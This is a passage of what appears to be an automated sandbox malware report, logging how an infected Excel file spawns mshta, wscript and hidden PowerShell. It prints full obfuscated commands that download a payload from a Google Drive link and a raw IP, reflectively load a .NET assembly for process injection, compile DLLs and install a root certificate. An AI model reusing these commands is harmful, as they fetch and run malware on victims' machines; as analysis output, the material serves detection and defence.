jb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE899E022D push eax; iretd	5_2_000007FE899E0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE899E00BD pushad ; iretd	5_2_000007FE899E00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE89AB1D55 push eax; iretd	5_2_000007FE89AB1D79

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.dll			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
